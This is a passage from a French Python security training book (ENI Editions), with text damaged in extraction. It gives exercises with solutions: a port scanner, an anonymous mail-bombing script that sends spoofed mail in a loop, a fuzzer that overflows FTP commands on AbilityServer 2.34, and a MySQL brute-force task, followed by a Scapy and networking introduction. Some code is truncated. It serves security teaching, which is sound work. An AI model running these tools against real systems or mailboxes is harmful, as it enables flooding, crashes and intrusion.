Maisavantcela,appliquonslesconnaissancesacquisesparlebiaisdexercicesconcrets.
Le but pour un meilleur apprentissage est de lire lnonc, puis dessayer de crer le script sans regarder la
correction.
- 1-
Miseenpratique
1.Cas1 :Scannerdeports
a.nonc
Prrequis :socket.
But :savoirprogrammerunsocketenPython.
nonc :
VousallezcrerunscriptPythonquiscannelesportsdunhtedistantdontvousconnaissezladresseIP.
Lesportsscannsserontlesports21,22,25,53,80,139,443,1080,3128,8080,8081.
Vousafficherezlcranlalistedesportsouvertsetlalistedesportsferms.
LadresseIPscannerserademandelutilisateur.
b.Correction
chap1_tp1.py
#!/usr/bin/env python
#--*--coding:UTF-8--*--
- 1-
if errno.errorcode[retourscan]=="ECONNREFUSED":
# on ajoute le port ferme dans la liste
portferme.append(ports[i])
# Erreur de connexion - On indique que lhote est
# introuvable
else:
print "Hote introuvable"
j = 1
# On ferme la boucle
i = 10
i = i + 1
#Si j = 1 on ferme le programme
if j==1:
print "Fermeture du programme."
# On affiche soit que tous les ports sont fermes, soit separement,
# ceux qui sont ouverts et ceux qui sont fermes
else:
if (len(portouvert) == 0):
print "Tous les ports sont fermes"
else:
print "Ports fermes:" , portferme
print "Ports ouverts:" , portouvert
2.Cas2 :Envoidemails
a.nonc
Prrequis :bibliothqueSMTPetemail
But :crerunscriptdenvoidemails
nonc :
VousallezraliserunscriptPythonquinouspermetdefairedumailbombing.
Unmenuaudmarrageprsenteraleschoixpossibles :
Exempledaffichage
[+]
[+]
[+]
[+]
1
2
3
4
Lutilisateurpourrachoisir:
- 2-
leserveurSMTP
ladressemailsource
ladressemaildedestination
lesujet
ladate
lecorpsdutexte
lenombredemailsenvoyer
unfichierjoint.
ENI Editions - All rights reserved - chantal gournier
Toutaulongduprocessusdenvoi,lutilisateurauradesinformations,lcran,surledroulement.
Unfichierdelogseragnrafindegarderunetracedesoprationseffectues(russiesounon).
Attention, le mail bombing est strictement interdit, utilisezle donc avec prcaution et dans votre
rseauinterneetsurvosadressesemail.
b.Correction
chap1_tp2.py
#! /bin/python
# -*- coding:UTF-8 -*# auteur : Julien Millet
# CDAISI 2011-2012
import os
import smtplib
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEMultipart import MIMEMultipart
from email.MIMEImage import MIMEImage
import mimetypes, posixpath
from email import Utils
destinataire = ""
expediteur = ""
sujet = ""
date = ""
message = ""
serveur = ""
fichierHTML = ""
fichier = ""
def setInformations():
print "\n"
serveur = raw_input("-> Serveur SMTP : ")
destinataire = raw_input("-> Destinataire : ")
expediteur = raw_input("-> Expditeur : ")
sujet = raw_input("-> Sujet : ")
#message = raw_input("-> Message : ")
date = raw_input("-> Date : ")
return serveur, destinataire, expediteur, sujet, message,
date
def initInformations():
destinataire = ""
expediteur = ""
sujet = ""
date = ""
message = ""
serveur = ""
fichierHTML = ""
fichier = ""
def simple():
infos = setInformations()
- 3-
def simpleHTML():
#initInformations()
infos = setInformations()
fichierHTML = open(raw_input("-> Chemin de la page HTML :
"), "r").read()
print fichierHTML
# creation dun objet multipart
emailmultipart = MIMEMultipart()
# on ajoute les headers pour le mail principal
emailmultipart[From] = infos[2]
emailmultipart[To] = infos[1]
emailmultipart[Subject] = infos[3]
# on cree un message simple en HTML
emailtext = MIMEText(fichierHTML, html)
# on attache ce mail notre multipart
emailmultipart.attach(emailtext)
# on envoie le mail
serveur = smtplib.SMTP(infos[0])
serveur.sendmail(infos[2], infos[1],
emailmultipart.as_string())
serveur.quit()
def doubleHTML():
liste_fichiers = []
initInformations()
infos = setInformations()
fichierHTML = open(raw_input("-> Chemin de la page HTML :
"), "r").read()
nbFichier = raw_input("-> Combien de pices envoyer : ")
for i in range(int(nbFichier)):
liste_fichiers.append(raw_input("\tFichier " + str(i)
+ " : "))
#fichier = raw_input("-> Chemin du fichier envoyer : ")
# creation dun objet multipart
emailmultipart = MIMEMultipart()
# on ajoute les headers pour le mail principal
emailmultipart[From] = infos[2]
emailmultipart[To] = infos[1]
emailmultipart[Subject] = infos[3]
# on cree un message simple en HTML
emailtext = MIMEText(fichierHTML, html)
# on attache ce mail a notre multipart
emailmultipart.attach(emailtext)
for l in liste_fichiers:
part = MIMEBase(application, "octet-stream")
print l
- 4-
part.set_payload(open(l, "rb").read())
#Encoders.encode_base(part)
part.add_header(Content-Disposition, attachment;
filename="%s" % os.path.basename(l))
emailmultipart.attach(part)
# on envoie le mail
print "Connexion au serveur de mail"
serveur = smtplib.SMTP(infos[0])
print "Configuration du mail"
serveur.sendmail(infos[2], infos[1],
emailmultipart.as_string())
print "Message envoye"
serveur.quit()
def bombing():
liste_fichiers = []
#initInformations()
infos = setInformations()
message = raw_input("-> Message : ")
nbFichier = raw_input("-> Combien de pieces a envoyer : ")
for i in range(int(nbFichier)):
liste_fichiers.append(raw_input("\tFichier " +
str(i) + " : "))
# creation dun objet multipart
emailmultipart = MIMEMultipart()
# on ajoute les headers pour le mail principal
emailmultipart[From] = infos[2]
emailmultipart[To] = infos[1]
emailmultipart[Subject] = infos[3]
# on cree un message simple en HTML
emailtext = MIMEText(message, html)
# on attache ce mail a notre multipart
emailmultipart.attach(emailtext)
for l in liste_fichiers:
part = MIMEBase(application, "octet-stream")
print l
part.set_payload(open(l, "rb").read())
#Encoders.encode_base(part)
part.add_header(Content-Disposition,
attachment; filename="%s" % os.path.basename(l))
emailmultipart.attach(part)
nombre = raw_input("-> Nombre de mails a envoyer : ")
# on envoie le mail
print "Connexion au serveur de mail"
serveur = smtplib.SMTP(infos[0])
print "Configuration du mail"
for i in range(int(nombre)):
serveur.sendmail(infos[2], infos[1],
emailmultipart.as_string())
print "Message envoye"
serveur.quit()
def menu():
os.system("clear")
print "**************************************"
print "*
MAILER ANONYME
*"
print "*
MAIL BOMBING
*"
print "*
-----------------*"
print "*
Eni Edition
*"
print "**************************************"
- 5-
print
print
print
print
jointe"
print
print
choix
""
"[+] 1 - Envoyer un simple mail anonyme"
"[+] 2 - Envoyer un mail anonyme en HTML"
"[+] 3 - Envoyer un mail anonyme en HTML avec piece
"[+] 4 - Mail Bombing"
"---------------------------------------------"
= int(raw_input("Choix > "))
if (choix == 1):
simple()
elif (choix == 2):
simpleHTML()
elif (choix == 3):
doubleHTML()
elif (choix == 4):
bombing()
menu()
else:
menu()
if __name__ == "__main__":
menu()
3.Cas3 :FuzzingdeFTP
a.nonc
Prrequis : FTP.
But :crerunscriptPythondefuzzingFTP.
nonc :
VousallezcrerunscriptPythonquitestelesfaillespossiblesdunserveurFTP,AbilityServer2.34,quevous
trouverezsurlenet.
InstallezAbilityServersurunemachineWindows,enlaissantlesparamtrespardfautetcrezunutilisateur
ftp(identifiant :ftpetmotdepasse :ftp).
partirdunemachinedistante,vouslancerezvotrescriptpourtesterAbilityServer.
Vousgrerezlesexceptionsetfermerezlaconnexionproprementdanstouslescas.
Lorsque vous serez connect, vous enverrez les commandes MKD, CWD et STOR avec des arguments (par
exempleAAAA)
STORAAAA
MKDAAAA
CWDAAAA
Nous voudrions, pour finir, que ces arguments soient variables et que lon puisse envoyer de 20 2000
arguments,parpasde20,pourchaquecommande.
Vous afficherez lcran lvolution des commandes et afficherez le nombre darguments qui fait planter
AbilityServeretavecquellecommande.
- 6-
b.Correction
chap1_tp3.py
#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
commande=[MKD,CWD,STOR]
for command in commande:
car=" "
while len(car)<2000:
car=car+"A"*20
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.0.1",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
commands=command + " "+car+"\r\n"
s.send(commands)
print commands + " : " + str(len(car))
s.send("QUIT\r\n")
4.Cas4 :ParsingdepageWeb
a.nonc
Prrequis :urllib,re,urllib2
But :crerunelistedesousdomainescontenusdansunsiteweb.
nonc :
RalisezunscriptPythonquicreunelistedadressesdesousdomainesprsents dansunsiteweb.
Pour cela, lutilisateur entrera une URL, le script recherchera dans la page daccueil les sousdomaines puis
afficheralcranceuxcienliminantlesdoublons.
Exempledaffichage
fasm@moya:~/ENI_livre_formation/livre_python/exemples$ python
chap1_tp4.py http://www.icq.com
=================================================
Resultat pour le site icq.com
=================================================
sous
sous
sous
sous
sous
sous
sous
domaine
domaine
domaine
domaine
domaine
domaine
domaine
0
1
2
3
4
5
6
:
:
:
:
:
:
:
ftp.icq.com
c.icq.com
people.icq.com
company.icq.com
games.icq.com
greetings.icq.com
chat.icq.com
- 7-
b.Correction
#!/usr/bin/env python
#coding:utf-8
import sys, urllib2,re
req=urllib2.Request(sys.argv[1])
req2=sys.argv[1].split(".")
req2.pop(0)
req3=..join(req2)
fd=urllib2.urlopen(req)
data=fd.readlines()
result=list(set(re.findall(r"http://(\w+)\."+req3,str(data))))
print "================================================="
print "
Resultat pour le site "+req3
print "=================================================\n\n"
i=0
for res in result:
if res != www:
print "sous-domaines"+str(i)+" : "+res+"."+req3
i=i+1
print "\n================================================"
5.Cas5 :BruteforceMySQL
a.nonc
Prrequis :MySQLdb
But :raliserunscriptPythondeBruteForcepardictionnairedemotdepasseMySQL.
nonc :
VousdevezraliserunscriptenPythonquitestelarobustessedevotremotdepasserootsurMySQL.
Pourcela,vousdevrezmettreenargumentundictionnaire(rcuprezcedictionnaire, lefranais,surcesite :
ftp://ftp.ox.ac.uk/pub/wordlists/).
Vousdevrezensuiteparcourircedictionnairepourrcuprerununchaquemotdepasse.
Voustenterezensuiteuneconnexionsurunebasededonnesquevousaurezcrepourcetteoccasion.
Vousdevrezdtectersilaconnexionarussiounon.
Unrapportdansunfichiertexteseragnr,donnantletempspourtrouverlemotdepasse(silesttrouv).
b.Correction
#!/usr/bin/env python
#coding:utf-8
import MySQLdb,sys,time
- 8-
- 9-
Introduction
Daprs la documentation officielle (man Scapy), Scapy est un puissant programme interactif de manipulation de
paquets.Ilpeutforgeroudcoderlespaquetsdungrandnombredeprotocoles,lesmettre,lescapturer,faire
correspondre desrequtesetdesrponsesetbienplusencore.Ilpermetlamanipulationdelaplupartdesoutils
descan,traceroute,desonde,detestsunitaires,dattaquesoudedcouvertederseau(ilremplacefacilement
hping,85 %denmap,arpspoof,arpsk,arping,tcpdump,tethereal,p0f,etc.).Ilsecomportegalementtrsbien
surungrandnombredetchesquungrandnombredeprogrammesnestpasenmesuredemanipuler,comme
envoyerdestramesinvalides,injectervosproprestrames802.11,combinerdestechniques(VLANhopping+ARP
cachepoisoning,VOIPdecodingsurcanalchiffrenWEP...),etc.
Philippe Biondi est lauteur de Scapy. Il est lauteur de nombreux logiciels, la plupart crits en langage Python.
Voustrouverezlensembledesespapiers,confrencesetlogicielssursonsite.
Scapyestunoutilmultiutilisation,cestun:
forgeurdepaquets
sniffeur
scanneur
outildetest(machine/serviceactif)
outildefingerprint
outildattaque(valeursnonprvuesdanslesprotocoles...)
Il peut remplacer de nombreux outils existants : ethereal/wireshark, tcpdump, dsniff, excalibur, ping, traceroute,
nmap,xprobe,ettercap...
Il ne possde pas de syntaxe complexe (flags retenir, liste de commandes rallonge...) mais il possde des
fonctionsdehautniveaudjimplmentes.
Scapynestpasddiunetchespcifique,deplusilestmodulaireetextensible.
Commetoutlogiciel,ilprsentedespointsfortsetdespointsfaibles.
Pointsforts
Langageinteractifdehautniveau.
Forgeetanalysedepaquetstrssimples.
Passelefirewalllocal.
Pointsfaibles
Nepeutpastraitertropdepaquetssimultanment(seservirdunoutilddipoura).
Fournitlesrsultatsbruts,nelesinterprtepas.
Supportpartieldecertainsprotocolescomplexes.
Nouspouvonsdsprsententrerdanslevifdusujet.
- 1-
ProgrammationrseauavecScapy
1.Listedesprotocolessupports
Scapy va nous permettre de travailler sur de nombreux protocoles, vous trouverez cidessous, la liste des
protocolessupportsparScapy.
ARP:ARP
ASN1_Packet:None
BOOTP:BOOTP
CookedLinux?:cookedlinux
DHCP:DHCPoptions
DNS:DNS
DNSQR:DNSQuestionRecord
DNSRR:DNSResourceRecord
Dot11:802.11
Dot11ATIM:802.11ATIM
Dot11AssoReq:802.11AssociationRequest
Dot11AssoResp:802.11AssociationResponse
Dot11Auth:802.11Authentication
Dot11Beacon:802.11Beacon
Dot11Deauth:802.11Deauthentication
Dot11Disas:802.11Disassociation
Dot11Elt:802.11InformationElement
Dot11ProbeReq:802.11ProbeRequest
Dot11ProbeResp:802.11ProbeResponse
Dot11ReassoReq:802.11ReassociationRequest
Dot11ReassoResp:802.11ReassociationResponse
Dot11WEP:802.11WEPpacket
Dot1Q:802.1Q
Dot3:802.3
EAP:EAP
EAPOL:EAPOL
ENI Editions - All rights reserved - chantal gournier
- 1-
Ether:Ethernet
GPRS:GPRSdummy
GRE:GRE
HCI_ACL_Hdr:HCIACLheader
HCI_Hdr:HCIheader
HSRP:HSRP
ICMP:ICMP
ICMPerror:ICMPinICMP
IP:IP
IPerror:IPinICMP
IPv6:IPv6notimplementedhere.
ISAKMP:ISAKMP
ISAKMP_class:None
ISAKMP_payload:ISAKMPpayload
ISAKMP_payload_Hash:ISAKMPHash
ISAKMP_payload_ID:ISAKMPIdentification
ISAKMP_payload_KE:ISAKMPKeyExchange
ISAKMP_payload_Nonce:ISAKMPNonce
ISAKMP_payload_Proposal:IKEproposal
ISAKMP_payload_SA:ISAKMPSA
ISAKMP_payload_Transform:IKETransform
ISAKMP_payload_VendorID:ISAKMPVendorID
IrLAPCommand:IrDALinkAccessProtocolCommand
IrLAPHead:IrDALinkAccessProtocolHeader
IrLMP:IrDALinkManagementProtocol
L2CAP_CmdHdr:L2CAPcommandheader
L2CAP_CmdRej:L2CAPCommandRej
L2CAP_ConfReq:L2CAPConfReq
L2CAP_ConfResp:L2CAPConfResp
L2CAP_ConnReq:L2CAPConnReq
- 2-
L2CAP_ConnResp:L2CAPConnResp
L2CAP_DisconnReq:L2CAPDisconnReq
L2CAP_DisconnResp:L2CAPDisconnResp
L2CAP_Hdr:L2CAPheader
L2CAP_InfoReq:L2CAPInfoReq
L2CAP_InfoResp:L2CAPInfoResp
LLC:LLC
MGCP:MGCP
MobileIP:MobileIP(RFC3344)
MobileIPRRP:MobileIPRegistrationReply(RFC3344)
MobileIPRRQ:MobileIPRegistrationRequest(RFC3344)
MobileIPTunnelData:MobileIPTunnelDataMessage(RFC3519)
NBNSNodeStatusResponse:NBNSNodeStatusResponse
NBNSNodeStatusResponseEnd:NBNSNodeStatusResponse
NBNSNodeStatusResponseService:NBNSNodeStatusResponseService
NBNSQueryRequest:NBNSqueryrequest
NBNSQueryResponse:NBNSqueryresponse
NBNSQueryResponseNegative:NBNSqueryresponse(negative)
NBNSRequest:NBNSrequest
NBNSWackResponse:NBNSWaitforAcknowledgementResponse
NBTDatagram:NBTDatagramPacket
NBTSession:NBTSessionPacket
NTP:NTP
NetBIOS_DS:NetBIOSdatagramservice
NetflowHeader?:NetflowHeader
NetflowHeaderV1:NetflowHeaderV1
NetflowRecordV1:NetflowRecord
NoPayload?:None
PPP:PPPLinkLayer
PPPoE:PPPoverEthernet
- 3-
PPPoED:PPPoverEthernetDiscovery
Packet:None
Padding:Padding
PrismHeader?:Prismheader
RIP:RIPheader
RIPEntry:RIPentry
Radius:Radius
Raw:Raw
SMBMailSlot:SMBMailSlotProtocol
SMBNegociate_Protocol_Request_Header:SMBNegociateProtocolRequestHeader
SMBNegociate_Protocol_Request_Tail:SMBNegociateProtocolRequestTail
SMBNegociate_Protocol_Response_Advanced_Security:SMBNegociateProtocolResponseAdvancedSecurity
SMBNegociate_Protocol_Response_No_Security:SMBNegociateProtocolResponseNoSecurity
SMBNegociate_Protocol_Response_No_Security_No_Key:None
SMBNetlogon_Protocol_Response_Header:SMBNetlogonProtocolResponseHeader
SMBNetlogon_Protocol_Response_Tail_LM20:SMBNetlogonProtocolResponse TailLM20
SMBNetlogon_Protocol_Response_Tail_SAM:SMBNetlogonProtocolResponse TailSAM
SMBSession_Setup_AndX_Request:SessionSetupAndXRequest
SMBSession_Setup_AndX_Response:SessionSetupAndXResponse
SNAP:SNAP
SNMP:None
SNMPbulk:None
SNMPget:None
SNMPinform:None
SNMPnext:None
SNMPresponse:None
SNMPset:None
SNMPtrapv1:None
SNMPtrapv2:None
SNMPvarbind:None
- 4-
STP:SpanningTreeProtocol
SebekHead?:Sebekheader
SebekV1:Sebekv1
SebekV2:Sebekv2
SebekV2Sock:Sebekv2socket
SebekV3:Sebekv3
SebekV3Sock:Sebekv2socket
Skinny:Skinny
TCP:TCP
TCPerror:TCPinICMP
UDP:UDP
UDPerror:UDPinICMP
_IPv6OptionHeader:IPv6notimplementedhere.
Nousnepourronsbiensrpastudiertouscesprotocoles,ilfaudraitunlivreentier.Nousnenousintresserons
quauxprotocolesutilesenscuritinformatique.
2.Quelquesnotionssurlesrseaux
Avant dattaquer en profondeur lutilisation de Scapy, il nous faut avoir en tte les notions ncessaires sur les
protocolesrseauetlemodleOSIpourlacomprhensiondelasuitedecechapitre.
CeuxquiontlesconnaissancesncessairespeuventpasserlasectionManipulationsbasiques.
a.Topologiedesrseaux
Latopologieenbus
Cestuneanciennetopologieaujourdhuipeuutilise.Elleconsisterelierchaqueordinateurunbus,souvent
parlintermdiairedecblescoaxiaux.Elleaparcontredenombreuxdfauts:
Unelenteurassezimportante.
Une vulnrabilit importante en cas de panne. En effet, si un cble est en panne, le rseau ne
fonctionneplus.
Latopologieentoile
Cestlatopologielaplusutiliseaujourdhui.Elleconsisterelierchaqueordinateur unhubouunswitchpar
lintermdiaireduncble(RJ45leplussouvent).Cestunrseaudisposantdebonnescapacitsetaveclequel,
siuncblereliantunordinateurauhublche,lerseaunestpasparalys.
Sonseulvraidfautestsoncotpluslevquelerseauavectopologieenbus.Pourlereste,ellenoffreque
desavantages.
- 5-
Latopologieenanneau
Elleconsistedonner"laparole"chaqueordinateurreliauMAU(MultistationAccessUnit)etdchangerdes
informations.
b.Lesdiffrentstypesderseaux
LesLAN
LesrseauxLAN(LocalAreaNetwork)sontlesrseauxlocaux.Lesordinateurssontrelisparlintermdiairede
cblesdansunepetitezonegographique(onfaitgnralementappellatechnologieEthernetpourrelierles
PC).
UnrseaulocalestdoncunregroupementdePCprocheslesunsdesautres,relisaurseau(soitavecdesfils,
etdanscecas,onfaitsouventappellatechnologie Ethernetquipermetdemonterplusde100Mbitspar
secondeet1GbitpourleGigaEthernet,soitsansfilavecdestechnologiescommeleWiFi).
LesMAN
Les MAN (Metropolitan Area Network)permettentdeconnecterplusieursLANprochesentreelles.Pourlesrelier
entreelles,onfaitappeldesrouteursetdescblesdefibreoptiquepermettantdesaccstrshautdbit.
LesWAN
LesWAN(WideAreaNetwork,quisignifierseautendu)permettentdeconnecterplusieursLANloignesentre
elles.Ledbitdevientdeplusenplusfaibleenfonctiondeladistance.
InternetestunregroupementdeWAN.
c.Questcequunprotocole?
Un protocole est une srie dtapes suivre pour permettre une communication harmonieuse entre plusieurs
ordinateurs.
Internet est un ensemble de protocoles regroups sous le terme TCPIP (Transmission Control Protocol/Internet
Protocol).Voiciunelistenonexhaustivedesdiffrentsprotocolesquipeuventtreutiliss:
HTTP(HypertextTransferProtocol):cestceluiquelonutilisepourconsulterlespagesweb.
FTP(FileTransferProtocol):cestunprotocoleutilispourtransfrerdesfichiers.
SMTP(SimpleMailTransferProtocol):cestleprotocoleutilispourenvoyerdesmails.
POP(PostOfficeProtocol):cestleprotocoleutilispourrecevoirdesmails.
Telnet:utilissurtoutpourcommanderdesapplicationsctserveurenlignesdecommande.
IP(InternetProtocol):ladresseIPvousestattribuelorsdevotreconnexionunserveur.
Lesprotocolessontclasssendeuxcatgories:
Les protocoles o les machines senvoient des accuss de rception (pour permettre une gestion des
erreurs).Cesontlesprotocoles"orientsconnexion".
Lesautresprotocolesquinavertissentpaslamachinequivarecevoirlesdonnessontlesprotocoles
"nonorientsconnexion".
d.AdresseIP
- 6-
UneadresseIPestunnumrounique.Cenumroestuniquecarilpermetunordinateurconnectunrseau
utilisantleprotocoleTCP/IPdelidentifier.
UneadresseIPestunnombrede32bitscomposde4numrosallantde0255(4numrosde8bits,saufle
derniernumroquinepeutexcder254)sparspardespoints.
ExempleduneadresseIP:127.0.0.1
UneadresseIPestcomposededeuxpartiesdistinctes:
UnepartieappelenetIDsituegauche,elledsignelerseaucontenantlesordinateurs.
UneautrepartieappelehostIDdsignantlesordinateursdecerseau.
e.Lesclasses
Plus ladresse rseau est courte (occupe le moins de chiffres), plus le rseau pourra contenir dordinateurs. Il
existedonc3classesderseaunotesA,BetCquisediffrencientparlenombredoctetsdsignantlerseau.
ClasseA
DansuneadresseIPdeclasseA,ladresserseauestdsigneparlepremieroctet quidoittredunevaleur
infrieure 128. Le rseau 0 uniquement nexiste pas, et le rseau 127 dsigne votre ordinateur. La plage
utilisableestcompriseentre1.0.0.0et126.0.0.0.
Cerseaupeutcontenir16646144ordinateurs.
ClasseB
DansuneadresseIPdeclasseB,ladresserseauestdsigneparlesdeuxpremiersoctets.Laplageutilisable
estcompriseentre128.0.0.0et191.255.0.0.
Cerseaupeutcontenir65024ordinateurs.
ClasseC
DansuneadresseIPdeclasseC,ladresserseauestdsigneparlestroispremiersoctets.Laplageutilisable
estcompriseentre192.0.0.0et233.255.255.0.
Cerseaupeutcontenir254ordinateurs.
f.Lemasquedesousrseau
Lorsquonconfigureunrseau,onparlesouventdemasquedesousrseau.Celuicisertindiquerlacapacit
dunordinateurcommuniqueravecunautredunmmerseauoupas.Enfonctiondumasque,desrestrictions
daccs sont appliques, et les ordinateurs ne pourront pas communiquer, donc ne se verront pas dans les
favorisrseau.
Le masque de sousrseau 255.255.255.0 va permettre aux ordinateurs dots dune adresse IP ayant les 3
premiersoctetsidentiquesdecommuniquerensemble.
Lordinateur ayant lIP 192.168.10.1 pourra communiquer avec lautre ordinateur ayant une IP telle que
192.168.0.2,maispas192.169.10.2.
g.LemodleOSI
- 7-
LemodleOSI(OpenSystemInterconnectionModel)dfinien1977rgitlacommunication entredeuxsystmes
informatiquesselon7niveaux.chaqueniveau,lesdeuxsystmesdoiventcommuniquerdefaoncompatible.
Enmatrielrseau,nousnutilisonsquelescouchesinfrieures,jusquauniveau 3.Cesniveauxsontgalement
appelscouches.
LOSIestunmodledebasenormalisparlInternationalStandardOrganization(ISO).
LacoucheAPPLICATION
LacoucheAPPLICATION(APPLICATIONLAYER)jouelerleduneinterfacedaccsdesapplicationsaurseau.La
coucheAPPLICATIONconcernelesapplicationsrseauquitournentsurunposte(TELNET,FTP...)etcorrespond
linterfacedelutilisateur.
LesfonctionsdelacoucheAPPLICATIONsontlessuivantes:
Lagestiondesapplicationsrseau.
Lesutilitairesdetransfertdefichiers.
Leslogicielsdaccsauxbasesdedonnes.
Lamessagerielectronique.
Laccsaurseau.
Lecontrledufluxetlacorrectiondeserreurs.
LacouchePRSENTATION
LacouchePRSENTATION(PRESENTATIONLAYER)dtermineleformatutilispourlchangedesdonnesentre
lesordinateursdurseau.
LesfonctionsdelacouchePRSENTATIONsontlessuivantes:
- 8-
LaconversionduformatissudelacoucheAPPLICATIONenunformatstandard.
Laconversiondesprotocoles.
Latraductionetlencodagedesdonnes.
Laconversiondujeudecaractres.
Lexcutiondescommandesgraphiques.
Lacompressionouladcompressiondesdonnes.
Un utilitaire appel redirecteur (REDIRECTOR) opre sur la couche PRSENTATION et permet de rediriger les
oprationsdentre/sortieverslesressources dunserveur.
LacouchePRSENTATIONpermetparexempledafficherdesdonnesUNIXsuruncranMSDOS.
LacoucheSESSION
LacoucheSESSION(SESSIONLAYER)grelaconnexionentredeuxordinateursdurseau.
LesfonctionsdelacoucheSESSIONsontlessuivantes:
Louvertureetlafermetureduneconnexion(dunesession).
Lareconnaissancedesnoms.
Lasynchronisationdestchesutilisateurlaidedepointsdecontrle.
Le contrle du dialogue entre les processus communicants (qui transmet qui, quel moment, pour
combiendetemps...).
LacoucheTRANSPORT
La couche TRANSPORT (TRANSPORT LAYER) sassure que les paquets ont t reus dans lordre, sans erreurs,
sanspertes,niduplication.LacoucheTRANSPORTgrelempaquetageetlerassemblagedespaquetsainsique
lecontrleetlacorrectiondeserreurs.
LesfonctionsdelacoucheTRANSPORTsontlessuivantes:
Ladivisiondesmessageslongsenplusieurspaquets.
Lecontrledelatailledespaquets.
Leregroupementdesmessagescourtsenunseulpaquet.
Lerassemblementdespaquetsenunseulmessage.
Lextractionetlareconstitutiondumessagedorigine.
Lenvoietlarceptiondunaccusderception.
Lecontrledufluxetlacorrectiondeserreursdanslareconstitutiondespaquets.
LacoucheRSEAU
La couche RSEAU (NETWORK LAYER) se charge de ladressage des messages. La couche RSEAU fournit un
schmadadressage.LacoucheRSEAU traduitlesadresseslogiques(lesadressesIP)enadressesphysiques
(lesadressesMACdescartesrseau).
LesfonctionsdelacoucheRSEAUsontlessuivantes:
Latraductiondesadressesetdesnomslogiquesenadressesphysiques.
ENI Editions - All rights reserved - chantal gournier
- 9-
Leroutagedesmessagesenfonctiondeleurprioritetdeltatdurseau.
Lagestiondutraficsurlerseau.
Lacommutationdepaquets.
Lecontrledelencombrementdesmessagessurlerseau.
LacoucheLIAISON
LacoucheLIAISON(DATALINKLAYER)greletransfertdestrames.Unetrame(souventsynonymedepaquet)
estunestructurelogiqueetorganisedanslaquellesontplaceslesdonnes.
La structure dune trame (dun paquet) est toujours la mme. La trame est constitue de plusieurs lments
dansunordreprcis:
Lentte:
Numrodidentificationdudestinataire.
Numrodidentificationdelexpditeur.
Lecorps :
Desinformationsdecontrlepourladtectiondutypedetrame,leroutageetlasegmentationdes
donnes.
Lesdonnes.
Laqueue:
Des informations CRC (Cyclical Redundancy Check) pour la correction et la vrification des erreurs
danslatransmissiondunpaquet.
LesfonctionsdelacoucheLIAISONsontlessuivantes:
LaprparationdestramespourlacouchePHYSIQUE.
Lafabricationdestramesenfonctiondelamthodedaccsaurseau.
Ladivisiondesmessagesentramesdebitsbrutsouleurregroupement.
LecontrleCRCdeserreursdanslatransmissiondunpaquet.
Lenvoietlarceptiondunaccusderceptionpourchaquetrame,sanslequel latrameestrexpdie.
LacouchePHYSIQUE
La couche PHYSIQUE (PHYSICAL LAYER) transmet des flux de bits bruts sur le support de communication. La
couchePHYSIQUEestenrelationdirecteaveclacarterseau.
LesfonctionsdelacouchePHYSIQUEsontlessuivantes:
- 10 -
Lagestiondubranchementausupport.
Lebranchementducblelacarterseau.
Ladfinitiondunombredebrochesduconnecteur.
Lafonctiondechacunedesbrochesduconnecteur.
Lagestiondessignaux,lectriques,optiques,mcaniques.
Lencodageetlasynchronisationdufluxdebits.
Laduredechaquebit,lescaractristiquesdelimpulsionlectriqueouoptique.
Lamthodedaccsdesbitssurlesupportdecommunication.
Lenvoidestramessurlerseau.
Voicipouruntourdhorizondurseau,certestrssuccinctmaisncessaire.
Pourapprofondirvosconnaissances,sivousenavezbesoin,lesditionsENIproposentdesouvragescomplets
etpdagogiquessurlesrseaux,quilssoientfilairesousansfil.
3.Manipulationsbasiques
a.Commandesdebase
Scapysupporteprsde300protocolesrseau.Nouspouvonsenavoiruneideenlanantlacommande ls()
dansleshellScapy.
fasm@moya:~/ENI_livre_formation/livre_python$ Scapy
INFO: Cant import python gnuplot wrapper . Wont be able to plot.
INFO: Cant import PyX. Wont be able to use psdump() or
pdfdump().
WARNING: No route found for IPv6 destination :: (no default
route?)
Welcome to Scapy (2.1.0)
>>> ls()
ARP
: ARP
ASN1_Packet : None
BOOTP
: BOOTP
CookedLinux : cooked linux
DHCP
: DHCP options
DHCP6
: DHCPv6 Generic Message)
DHCP6OptAuth : DHCP6 Option - Authentication
DHCP6OptBCMCSDomains : DHCP6 Option - BCMCS Domain Name List
DHCP6OptBCMCSServers : DHCP6 Option - BCMCS Addresses List
DHCP6OptClientFQDN : DHCP6 Option - Client FQDN
DHCP6OptClientId : DHCP6 Client Identifier Option
DHCP6OptDNSDomains : DHCP6 Option - Domain Search List option
DHCP6OptDNSServers : DHCP6 Option - DNS Recursive Name Server
DHCP6OptElapsedTime : DHCP6 Elapsed Time Option
DHCP6OptGeoConf :
DHCP6OptIAAddress : DHCP6 IA Address Option (IA_TA or IA_NA
suboption)
DHCP6OptIAPrefix : DHCP6 Option - IA_PD Prefix option
DHCP6OptIA_NA : DHCP6 Identity Association for Non-temporary
Addresses Option
DHCP6OptIA_PD : DHCP6 Option - Identity Association for Prefix
Delegation
DHCP6OptIA_TA : DHCP6 Identity Association for Temporary Addresses
Option
DHCP6OptIfaceId : DHCP6 Interface-Id Option
DHCP6OptInfoRefreshTime : DHCP6 Option - Information Refresh Time
DHCP6OptNISDomain : DHCP6 Option - NIS Domain Name
DHCP6OptNISPDomain : DHCP6 Option - NIS+ Domain Name
Nouspouvonsutiliserlacommandelsc()pourconnatrelescommandesdebase.
>>> lsc()
- 11 -
arpcachepoison
arping
bind_layers
corrupt_bits
corrupt_bytes
defrag
defragment
dyndns_add
dyndns_del
etherleak
fragment
fuzz
getmacbyip
hexdiff
hexdump
hexedit
is_promisc
linehexdump
ls
promiscping
rdpcap
send
sendp
sendpfast
sniff
split_layers
sr
sr1
srbt
srbt1
srflood
Ilestpossibledobteniruneaidesurchaquefonctionainsiquelalistedesmthodesutilisesparcellesci.Les
deuxcommandessonthelp()etdir().
>>> help(fuzz)
Help on function fuzz in module scapy.packet:
fuzz(p, _inplace=0)
Transform a layer into a fuzzy layer by replacing some default
values by random objects
(END)
>>> dir(IP)
[__class__, __contains__, __delattr__, __delitem__,
__dict__, __div__, __doc__, __eq__, __format__,
__getattr__, __getattribute__, __getitem__, __gt__,
__hash__, __init__, __iter__, __len__, __lt__,
__metaclass__, __module__, __mul__, __ne__, __new__,
__nonzero__, __rdiv__, __reduce__, __reduce_ex__,
- 12 -
b.Fabricationdepaquets
